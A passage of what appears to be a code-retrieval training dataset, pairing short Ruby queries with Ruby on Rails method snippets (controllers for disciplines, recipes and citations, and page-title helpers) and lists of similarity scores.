50).floor / 2.0)\n #subtracts 0.5 from speed for every 50 pop density rounding down.\n end\n\n puts \" and will spread across the state in #{speed} months.\\n\\n\"\n\n end" ]
[ "0.718225", "0.70743805", "0.6986951", "0.6967058", "0.684492", "0.68064386", "0.6774673", "0.6764509", "0.67411405", "0.6729949", "0.67116207", "0.66903806", "0.6687948", "0.6672898", "0.6672898", "0.6672898", "0.6672898", "0.6672268", "0.66603863", "0.6649109", "0.6625182", "0.6611687", "0.6599318", "0.6597993", "0.6594977", "0.6590962", "0.65824497", "0.6578066", "0.6573087", "0.6563983", "0.65634567", "0.65579", "0.6555022", "0.6555022", "0.655076", "0.6550694", "0.6544483", "0.6544483", "0.6544483", "0.6544483", "0.6542158", "0.6540078", "0.65361136", "0.653573", "0.65353584", "0.6533239", "0.6533123", "0.6519041", "0.6515949", "0.65145403", "0.65141433", "0.6513875", "0.6504813", "0.65040225", "0.6503581", "0.64978176", "0.64947015", "0.6489614", "0.64877665", "0.6487143", "0.6481152", "0.64781284", "0.64753175", "0.64753175", "0.64709586", "0.6466956", "0.6466782", "0.6466218", "0.6464175", "0.64638126", "0.64638126", "0.64622754", "0.64615905", "0.64532", "0.64532", "0.6450805", "0.64507586", "0.64480186", "0.64450085", "0.64441687", "0.6441953", "0.6441192", "0.6440513", "0.64394474", "0.64373237", "0.64293295", "0.6427274", "0.64263946", "0.64248985", "0.64244884", "0.64204013", "0.64204013", "0.64204013", "0.64204013", "0.64204013", "0.64204013", "0.64204013", "0.64199877", "0.6417994", "0.64161855", "0.6415154" ]
0.0
-1
Public because the old tests depend on it
def update_source(source, instance) begin data = instance.fetch publish_data(source, data) ensure @after_update_callback.call end rescue Exception => ex puts "Failed to update #{source}: #{ex.message}" puts ex.backtrace @error_callback.call(ex) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def private; end", "def spec; end", "def spec; end", "def self_test; end", "def self_test; end", "def __dummy_test__\n end", "def testing\n # ...\n end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def setup; end", "def specie; end", "def specie; end", "def specie; end", "def specie; end", "def running_test_case; end", "def default_test; end", "def test_hack\n assert(true)\n end", "def before_setup; end", "def before_test(test); end", "def before_test(test); end", "def default_test\r\n end", "def default_test\n end", "def internal; end", "def tests; end", "def tests; end", "def test_defaults\n end", "def setup\n\n end", "def setup\n\n end", "def setup\n\n end", "def test_legacy\n # Set up legacy handlers\n setup_legacy_handling\n\n common_tests\n end", "def test_case; end", "def default_test\n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n \n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def test_0_dummy\n\t\tend", "def internal?; end", "def setup; end", "def default_test\n end", "def default_test\n end", "def private_method\n end", "def used?; end", "def setup\n # override this if needed\n end", "def implementation; end", "def implementation; end", "def test_method\n end", "def test_setup\r\n \r\n end", "def test_connection\n end", "def my_tests\n end", "def default_test\n info \"self: #{self}\"\n end", "def tests=(_arg0); end", "def tests=(_arg0); end", "def before_run; end", "def assertions; end", "def assertions; end", "def before() ; end", "def standalone; end", "def test_frameworks; end", "def setup\r\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def setup\n end", "def test_cyclic\n end", "def should; super end", "def isolated; end", "def isolated; end" ]
[ "0.74151176", "0.72776586", "0.72776586", "0.72265184", "0.72265184", "0.71033937", "0.6814611", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.6718358", "0.67014974", "0.67014974", "0.67014974", "0.67014974", "0.6516231", "0.6479853", "0.6471036", "0.64485157", "0.6446832", "0.6446832", "0.6425979", "0.64003396", "0.6395003", "0.6383256", "0.6383256", "0.63163704", "0.63125026", "0.63125026", "0.63125026", "0.6287896", "0.6279587", "0.62752634", "0.6273367", "0.6273367", "0.6273367", "0.6273367", "0.6273367", "0.6273367", "0.6273367", "0.62608534", "0.62608534", "0.62608534", "0.62608534", "0.62608534", "0.62608534", "0.62546474", "0.62458444", "0.6236633", "0.62104255", "0.62104255", "0.62082154", "0.6176757", "0.6165207", "0.61281276", "0.61281276", "0.6121389", "0.6105095", "0.61011964", "0.60851556", "0.605652", "0.60476726", "0.60476726", "0.6042908", "0.603411", "0.603411", "0.60227656", "0.60217375", "0.6008187", "0.5988412", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.59838", "0.5982712", "0.5976256", "0.59749615", "0.59749615" ]
0.0
-1
Returns the full title on a perpage basis. Documentation comment
def full_title(page_title = '') # Method def, optional arg base_title = "WikiSpyder" # Variable assignment if page_title.empty? # Boolean test base_title # Implicit return else page_title + " | " + base_title # String concatenation end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def title\n @title_pages.each { |tp| tp.title and return tp.title }\n nil\n end", "def page_title\n end", "def page_title\n page.title\n end", "def page_title; end", "def page_title(title)\n content_for_wrapper(:page_title, title)\n end", "def page_title title= nil\n\t\tif title\n\t\t\tcontent_for(:page_title) { \"#{title} - 2da.re\" }\n\t\t\treturn title\n\t\telse\n\t\t\tcontent_for?(:page_title) ? content_for(:page_title) : \"Ready 2da.re?\"\n\t\tend\n\tend", "def title\n return @title if @title\n if matches = class_const(:TITLE_RE).match(page)\n @title = matches[1].to_s.strip\n title_processor\n @title = decode_entities(@title)\n end\n end", "def get_display_title(title)\n page_info_get_val(title, 'displaytitle', 'displaytitle')\n end", "def page_title() nil end", "def page_title(title)\n \"gbchaosmaster#{\" | #{title}\" unless title.blank?}\"\n end", "def title\n page.title\n end", "def title\n @title ||= begin\n if site_title && page_title != site_title\n page_title + TITLE_SEPARATOR + site_title\n elsif site_description && site_title\n site_title + TITLE_SEPARATOR + site_title_extention_or_description\n else\n page_title || site_title\n end\n end\n\n return page_number + @title if page_number\n\n @title\n end", "def page_title\n \n page_title = @renderer.title title()\n \n puts \"[Cutlist.page_title]: #{page_title}\" if $cutlister_debug\n \n page_title\n \n end", "def page_title\n title = content_for?(:title) ? \" - #{content_for(:title)}\" : \"\"\n \"Todobadour#{title}\"\n end", "def full_title(page_title)\n base_title = 'Sample CMS'\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title()\n @markdown_document.title()\n end", "def page_title\n \t\"PatTalk\"\n end", "def full_title(page_title)\n base_title = \"Proman 2013\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Quick-Score.com\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} @ #{base_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Proman 2014\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n page_title.blank? ? \"My Defi Pie\" : \"My Defi Pie | #{page_title}\"\n end", "def\n get_title()\n @title\n end", "def title(page_title)\n content_for :title do\n page_title\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | Alfalfa\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n @@base_title\n else\n \"#{@@base_title} | #{page_title}\"\n end\n end", "def page_title \n %(<title>#{page_title_raw}My Blog</title>) # Customize this for your blog\n end", "def full_title(page_title)\n\t\tpage_title = PAGE_TITLE \n \tbase_title = BASE_TITLE\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end", "def page_title\n nil\n end", "def full_title page_title\n base_title = \"emo-search\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n \"#{page_title} | #{site_name}\"\n end\n end", "def title(page_title)\n\t content_for(:title) { page_title }\n\tend", "def get_title()\n return @title\n end", "def get_page_title(page_doc)\n\treturn page_doc.css('title').text.strip\nend", "def full_title(page_title = \"\")\n \tbase_title = \"Facebook Clone\"\n \tif page_title.empty?\n \t\tbase_title\n \telse\n \t\tpage_title + \" | \" + base_title\n \tend\n end", "def full_title(page_title)\n \t\tif page_title.empty?\n \t\t\tsite_name\n \t\telse\n \t\t\t\"#{page_title} | #{site_name}\"\n \t\tend\n \tend", "def full_title(page_title)\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def get_title()\n @title\n end", "def page_title\n @page_title ||= format_string(page[\"title\"]) || site_title\n end", "def full_title(page_title)\n\t\tbase_title = \"dreamly\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\t\"#{base_title} | #{page_title}\"\n\t\tend\n\tend", "def title(page_title)\n \tcontent_for(:title) { page_title }\n \tend", "def title\n @doc.title || DEFAULT_TITLE\n end", "def full_title(page_title = '')\n base_title = \"WriteIt\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def title\n @title ||= Utilities.longest_common_substring_in_array(titles.values) \n @title = titles[:og_title] unless title_ok?\n @title = titles[:html_title] unless title_ok?\n @title = titles[:from_doc] unless title_ok?\n\n @title\n end", "def title\n base_title = \"CloudSpokes Coding Challenges\"\n if @page_title.nil?\n base_title\n else\n \"#{base_title} - #{@page_title}\"\n end\n end", "def title\n @title ||= self.content.split(@@title_separator).first unless self.content.nil?\n end", "def page_title(page_title)\n content_for_layout :page_title, page_title\n end", "def title(page_title = nil)\n if page_title\n content_for(:title) do\n page_title\n end\n else\n content_for(:title) do\n \"DateIdeas.ca\"\n end\n end\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def full_title(page_title)\n base_title = \"WDIS\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title\n # strip some non-breaking space at the end\n @title ||= details.at(\"h1[itemprop='name']\").children.first.text.strip.gsub(' ', '') rescue nil\n end", "def full_title(page_title)\n base_title = \"BH Herbarium\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title = '')\n base_title = 'My Money'\n if page_title.empty?\n base_title\n else\n \"#{page_title} | #{base_title}\"\n end\n end", "def full_title(page_title)\r\n\tbase_title = \"whichizrite\"\r\n\tif page_title.empty?\r\n\t\tbase_title\r\n\telse\r\n\t\t\"#{base_title} | #{page_title}\"\r\n\tend\r\nend", "def pagetitle(page)\n \"Page #{page}\"\nend", "def full_title(page_title)\n\t\tbase_title=\"StemLoops\"\n\t\tif page_title.empty?\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title+\" | \"+page_title\n\t\tend\n\tend", "def full_title(page_title)\n base_title = \"StoryStore\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title\n @title ||= details.at(\"h1.header\").text.strip rescue nil\n end", "def full_title (page_title)\n\tbase_title = \"Recipository\"\n\n\nif page_title.empty?\n\t\tbase_title\n\telse\n\t\t\"#{base_title}\" | #{page_title}\"\n\tend\nend\nend", "def get_title\n @doc.css('title').text\n end", "def full_title(page_title = '')\n\t\tif page_title.empty?\n\t\t\tself.base_title\n\t\telse\n\t\t\tpage_title + \" | \" + self.base_title\n\t\tend\n\tend", "def full_title(page_title = '')\n base_title = \"Colegio de Notarios\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def full_title(page_title)\n title = base_title\n\n Array(page_title).each do |var|\n title << (' | ' + var) unless var.empty? \n end\n\n title\n end", "def full_title(page_title)\n base_title = \"Anand Sampat\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def getTitle(doc)\n\tfirstLine = doc.strip[/^[^\\n]+(?=\\n|$)/]\n\tfirstLine.length <= TITLE_LENGTH ? firstLine : firstLine[0,TITLE_LENGTH-3]+\"...\"\nend", "def full_title(page_title)\n base_title = \"ARealtor\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def title\n @title ||= heirarchy.full_name\n end", "def get_title\n @title\n end", "def full_title(page_title)\n base_title = \"Bill Pay Center\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} / #{page_title}\"\n end\n end", "def title\n { title: @doc.xpath('//h1').first.content }\n end", "def full_title(page_title)\n base_title = \"Rails Project\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def page_title(page_title = nil)\n @page_title ||= page_title\n @page_title.nil? ? \"Carers: #{action_name}\" : \"#{@page_title} @ Lort Smith\"\n end", "def page_title(title)\n content_for :page_title, title\n end", "def full_title(page_title)\n base_title = \"Adit\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n base_title = \"Koprulu Sector\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def full_title(page_title)\n if page_title.empty?\n site_name\n else\n #{page_title} | #{site_name}\n end\n end", "def full_title(page_title)\n base_title = \"Relativies\"\n if page_title.empty?\n base_title\n else\n \"#{base_title} | #{page_title}\"\n end\n end", "def page_title \n raw %(<title>#{page_title_raw}My USA Coin</title>)\n end", "def page_title\n title = \"Amplify\"\n title.prepend(\"#{@page_title} | \") if @page_title\n title\n end", "def title_help \n\n\t\t#Define general page title\n\t\tbase_title = \"Rex Ruby on Rails Learning | PagesHelper\"\n\t\tif(@title.nil?)\n\t\t\tbase_title\n\t\telse\n\t\t\tbase_title = \"Rex Ruby on Rails Learning | #{@title} | PagesHelper\"\n\t\tend\n\tend", "def get_title\n title = @doc.css(\"div.headline h1\").text.gsub(\" From Our Partners\", \"\")\n end", "def full_title(page_title = '')\n base_title = \"NKUNet\"\n if page_title.empty?\n base_title\n else\n page_title + \" | \" + base_title\n end\n end", "def get_page_title\n uri = request.request_uri\n section = uri.split(\"/\").last\n title = case section\n # these should be consistent now\n when \"questions\" then \"Key Questions\"\n when \"publications\" then \"Publication Information\"\n when \"arms\" then \"Study Arms\"\n when \"design\" then \"Study Design\"\n when \"baselines\" then \"Baseline Characteristics\"\n when \"outcomes\" then \"Outcome Setup\"\n when \"results\" then \"Results\"\n when \"adverse\" then \"Adverse Events\"\n when \"quality\" then \"Study Quality\"\n else \"\"\n end\n return title\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def title(page_title)\n content_for(:title) { page_title }\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def full_title\n name\n end", "def title\n return super if block_given?\n\n @title || if show?\n content_tag('span', presenter.heading, itemprop: \"name\")\n else\n @view_context.link_to_document @document, counter: @counter, itemprop: 'name'\n end\n end", "def full_title(page_title)\n base_title = \"WebSchool\"\n if page_title.empty?\n base_title\n else\n \"#{page_title} - #{base_title}\"\n end\n end", "def title(page_title)\n content_for(:title) { page_title }\n\n end", "def full_title(page_title) # Method definition\n base_title = \"Express yourself\"\t\t\t \t\t\t # Variable assignment\n if page_title.empty? # Boolean test\n base_title # Implicit return\n else\n \"#{base_title} | #{page_title}\" # String interpolation\n end\n end" ]
[ "0.81353635", "0.79831505", "0.79214835", "0.79139054", "0.78620046", "0.7833554", "0.78068256", "0.77831745", "0.77285194", "0.7703534", "0.7679732", "0.7657891", "0.7596595", "0.7592429", "0.7588978", "0.758632", "0.75854963", "0.75828916", "0.7582482", "0.75700885", "0.75527227", "0.752772", "0.7523959", "0.7522367", "0.7513381", "0.7508443", "0.7505947", "0.74957067", "0.747781", "0.7474425", "0.7474425", "0.7474425", "0.7474425", "0.7474425", "0.7474425", "0.7474425", "0.74658734", "0.746469", "0.74643004", "0.7464062", "0.7461121", "0.7455536", "0.7450082", "0.74395835", "0.7438697", "0.74342966", "0.74334574", "0.7431773", "0.74294186", "0.742872", "0.7426479", "0.7424245", "0.7423038", "0.74219453", "0.74219453", "0.74219453", "0.74219453", "0.74210566", "0.741925", "0.74184096", "0.7415039", "0.7403914", "0.740267", "0.739292", "0.73881257", "0.7385791", "0.7381769", "0.7380472", "0.7378797", "0.73785", "0.7376973", "0.73755914", "0.73694116", "0.73658985", "0.7361555", "0.7357648", "0.7356978", "0.7356126", "0.7356068", "0.735077", "0.73435885", "0.7342327", "0.7337463", "0.7335989", "0.73351616", "0.7334256", "0.73331463", "0.7327906", "0.7325872", "0.73200786", "0.7317195", "0.7316083", "0.7316083", "0.73151803", "0.73151803", "0.73151803", "0.7314551", "0.7312526", "0.7310193", "0.73057866" ]
0.7310941
98
GET /disciplines GET /disciplines.json
def index if( current_user.admin? ) @disciplines = Discipline.where( users_id: current_user.id) @discipline = Discipline.new else @disciplines = Discipline.joins(:Discuser).where("user_id = (?)", current_user.id) @discipline = Discipline.new end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def index\n @disciplines = Discipline.all\n\n render json: @disciplines\n end", "def index\n @disciplines = Discipline.all\n \n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @disciplines }\n end\n end", "def show\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def index\n @disciplines = Discipline.all\n #respond_to do |format|\n # format.json { render json: @disciplines, status: :ok }\n #end\n #render json: @disciplines, status: :ok\n respond_with @disciplines\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @disciplines = Discipline.all\n end", "def index\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_disciplines = MatrixDiscipline.where(:matrix_id => @matrix.id)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @matrix_disciplines }\n end\n end", "def index\n @disciplines = @course.disciplines.latest_versions\n @disciplines = @disciplines.where_code_or_name(params[:term]) if params[:term]\n @disciplines = @disciplines.paginate :page => params[:page] \n \n respond_with @disciplines\n end", "def show\n @recipy = Recipy.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @recipy }\n end\n end", "def show\n @project = Project.find(params[:id])\n<<<<<<< HEAD:app/controllers/projects_controller.rb\n @disciplines = collect_disciplines\n \n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @projects }\n end \n end", "def show\n @curriculum = Curriculum.find(params[:id])\n @curriculum_disciplines = @curriculum.curriculum_disciplines.by_module.paginate :page => params[:page]\n\n respond_with @curriculum\n end", "def show\n @discipline = Discipline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @discipline }\n end\n end", "def show\n @discipline = Discipline.find(params[:id])\n \n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline }\n end\n end", "def index\n @disciplines = Discipline.search(params[:search]).order(sort_column + \" \" + sort_direction).paginate(:per_page => 10, :page =>params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @disciplines }\n end\n end", "def disciplines_for(discipline)\n if discipline\n [Discipline[discipline]]\n else\n #alphere this is causing nil discipline error in UpcomingEvents.find_all\n #[Discipline[:road], Discipline[:mountain_bike], Discipline[:bmx], Discipline[:track], Discipline[:cyclocross]]\n #works: [Discipline[:road]]\n disciplines = Array.new\n Discipline.find_all_names.each do | name |\n disciplines << (Discipline[name.to_sym]) unless name.to_s == ''\n end\n disciplines\n end\n end", "def index\n @disciplinas = Disciplina.all\n end", "def index\n @psi_disciplines = PsiDiscipline.all\n end", "def index\n @recipies = Recipy.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @recipies }\n end\n end", "def show\n @matrix_discipline = MatrixDiscipline.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @matrix_discipline }\n end\n end", "def index\n @discipline_sections = DisciplineSection.all\n end", "def show\n #render json: @discipline\n respond_with @discipline\n end", "def index\n @discipleships = Discipleship.all\n end", "def index\n @disciplines = Discipline.order(questions_daily_access: :desc)\n end", "def index\n @disciplines = Discipline.paginate(:page => params[:page], per_page: 30)\n @number = Discipline.count\n respond_to do |format|\n format.html\n format.json { render :json => Discipline.all.to_json(include: :department) }\n end\n end", "def show\n @discipline = Discipline.find(params[:id])\n\n respond_with @discipline\n end", "def set_disciplina\n @disciplina = Disciplina.find(params[:id])\n end", "def index\n @disciplinas = Disciplina.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @disciplinas }\n end\n end", "def new\n @project = Project.new\n @project.disciplines = []\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @project }\n end\n end", "def new\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.build\r\n\r\n respond_to do |format|\r\n format.html # new.html.erb\r\n format.json { render json: @disciplines_study }\r\n end\r\n end", "def new\n @discipline = Discipline.new\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @discipline }\n end\n end", "def new\n @discipline = Discipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @discipline }\n end\n end", "def get_students\n @course = Course.find(params[:course_id])\n\n render json: @course.students\n end", "def show\n @clinicalsection = Clinicalsection.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinicalsection }\n end\n end", "def index\n @discipuladores = Discipulador.all\n end", "def index\n @citations = Citation.all\n\n render json: @citations\n end", "def show\n @critic = Critic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @critic }\n end\n end", "def show\n @discipline_type = DisciplineType.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @discipline_type }\n end\n end", "def index\r\n if current_user.admin?\r\n @dashboard_disciplines = Discipline.includes(\"materials\")\r\n .paginate(:page => params[:page], :per_page => 10) \r\n else\r\n @dashboard_disciplines = current_user.disciplines \r\n .includes(\"materials\")\r\n .paginate(:page => params[:page], :per_page => 10) \r\n end\r\n end", "def create\n @disciplina = Disciplina.new(disciplina_params)\n\n respond_to do |format|\n if @disciplina.save\n format.html { redirect_to @disciplina, notice: 'Disciplina was successfully created.' }\n format.json { render :show, status: :created, location: @disciplina }\n else\n format.html { render :new }\n format.json { render json: @disciplina.errors, status: :unprocessable_entity }\n end\n end\n end", "def destroy\n @discipline.destroy\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n end\n end", "def destroy\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n @disciplines_study.destroy\r\n\r\n respond_to do |format|\r\n format.html { redirect_to disciplines_studies_url }\r\n format.json { head :no_content }\r\n end\r\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n\n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :ok }\n end\n end", "def show\n @island = Island.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @island }\n end\n end", "def show\n @clinician = Clinician.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @clinician }\n end\n end", "def disciplina_params\n params.require(:disciplina).permit(:codigo, :nome)\n end", "def discipline_params\n params[:discipline]\n end", "def precipitation(latitudes_longitudes_times, options = {})\n return if latitudes_longitudes_times.size % 3 != 0\n params = [] \n latitudes_longitudes_times.each_slice(3) do |data|\n params << data.join(',')\n end\n response = Typhoeus::Request.get(\"#{DARKSKY_API_URL}/precipitation/#{@api_key}/#{params.join(';')}\", DEFAULT_OPTIONS.dup.merge(options))\n JSON.parse(response.body) if response.code == 200\n end", "def show\n render json: @citation\n end", "def show\n render json: @citation\n end", "def [](discipline_name)\n disciplines.detect { |discipline| discipline.name == discipline_name }\n end", "def show\n @idiom = Idiom.find(params[:id])\n @essays = Essay.where(idiom_id: params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @idiom }\n end\n end", "def index\n #@courses = @curriculum.courses\n\n @courses = ScopedCourse.where(:curriculum_id => @curriculum.id)\n .joins(:course_descriptions)\n .where([\"course_descriptions.locale = ?\", I18n.locale]).includes(:strict_prereqs)\n# .joins(<<-SQL\n# INNER JOIN course_descriptions\n# ON competence_nodes.abstract_course_id = course_descriptions.abstract_course_id\n# SQL\n# )\n\n respond_to do |format|\n #format.html # index.html.erb\n format.json do\n render :json => @courses.select(<<-SQL\n competence_nodes.id,\n competence_nodes.course_code,\n course_descriptions.name AS translated_name\n SQL\n ).to_json(:methods => :strict_prereq_ids, :root => true)\n end\n end\n end", "def consultar\n @disciplina = Disciplina.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.xml { render :xml => @disciplina }\n end\n end", "def show\n @client = Client.find(params[:id])\n @contracts = Contract.where(:client_id => @client.id)\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @client }\n end\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_to do |format|\n format.html { redirect_to disciplines_url }\n format.json { head :no_content }\n format.js\n end\n end", "def create\r\n @academic_work=AcademicWork.find(params[:academic_work_id])\r\n @disciplines_study = @academic_work.disciplines_studies.new(params[:disciplines_study])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.save\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully created.' }\r\n format.json { render json: @disciplines_study, status: :created, location: @disciplines_study }\r\n else\r\n format.html { render action: \"new\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def show\n @courtstation = Courtstation.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @courtstation }\n end\n end", "def destroy\n @discipline = Discipline.find(params[:id])\n @discipline.destroy\n \n respond_with @discipline, :location => admin_course_disciplines_url(@course)\n end", "def show\n @court = Court.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @court }\n end\n end", "def show\n @study_course = StudyCourse.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @study_course }\n end\n end", "def index\n @discipline_types = DisciplineType.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @discipline_types }\n end\n end", "def create # rubocop:disable Metrics/AbcSize\n @discipline = Discipline.new(discipline_params)\n\n respond_to do |format|\n if @discipline.save\n current_user.notebook.disciplines << @discipline\n format.html { redirect_to @discipline, notice: 'Discipline was successfully created.' }\n format.json { render :show, status: :created, location: @discipline }\n else\n format.html { render :new }\n format.json { render json: @discipline.errors, status: :unprocessable_entity }\n end\n end\n end", "def index\n @discipline = Discipline[params[\"discipline\"]]\n @discipline_names = Discipline.names\n @calculations = Calculations::V3::Calculation.where(year: @year).includes(:event)\n\n respond_to do |format|\n format.html\n format.xml do\n fresh_when RacingAssociation.current, public: true\n all_events\n end\n end\n end", "def set_discipulador\n @discipulador = Discipulador.find(params[:id])\n end", "def set_discipleship\n @discipleship = Discipleship.find(params[:id])\n end", "def get_subject_by_curricular_line\n @subjects = Subject.get_by_career(params[:career_id],params[:cl_id])\n render :json => @subjects\n end", "def index\n course = Course.find(params[:course_id])\n sections = course.sections.all\n render json: sections.order(:id)\n end", "def new\n @matrix = CourseMatrix.find(params[:course_matrix_id])\n @matrix_discipline = MatrixDiscipline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @matrix_discipline }\n end\n end", "def new\n @island = Island.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @island }\n end\n end", "def update\r\n @disciplines_study = DisciplinesStudy.find(params[:id])\r\n\r\n respond_to do |format|\r\n if @disciplines_study.update_attributes(params[:disciplines_study])\r\n format.html { redirect_to @disciplines_study, notice: 'Disciplines study was successfully updated.' }\r\n format.json { head :no_content }\r\n else\r\n format.html { render action: \"edit\" }\r\n format.json { render json: @disciplines_study.errors, status: :unprocessable_entity }\r\n end\r\n end\r\n end", "def get_citations(word, *args)\n http_method = :get\n path = '/word/{word}/citations'\n path.sub!('{word}', word.to_s)\n\n # Ruby turns all key-value arguments at the end into a single hash\n # e.g. Wordnik.word.get_examples('dingo', :limit => 10, :part_of_speech => 'verb')\n # becomes {:limit => 10, :part_of_speech => 'verb'}\n last_arg = args.pop if args.last.is_a?(Hash)\n last_arg = args.pop if args.last.is_a?(Array)\n last_arg ||= {}\n\n # Look for a kwarg called :request_only, whose presence indicates\n # that we want the request itself back, not the response body\n if last_arg.is_a?(Hash) && last_arg[:request_only].present?\n request_only = true\n last_arg.delete(:request_only)\n end\n\n params = last_arg\n body ||= {}\n request = Wordnik::Request.new(http_method, path, :params => params, 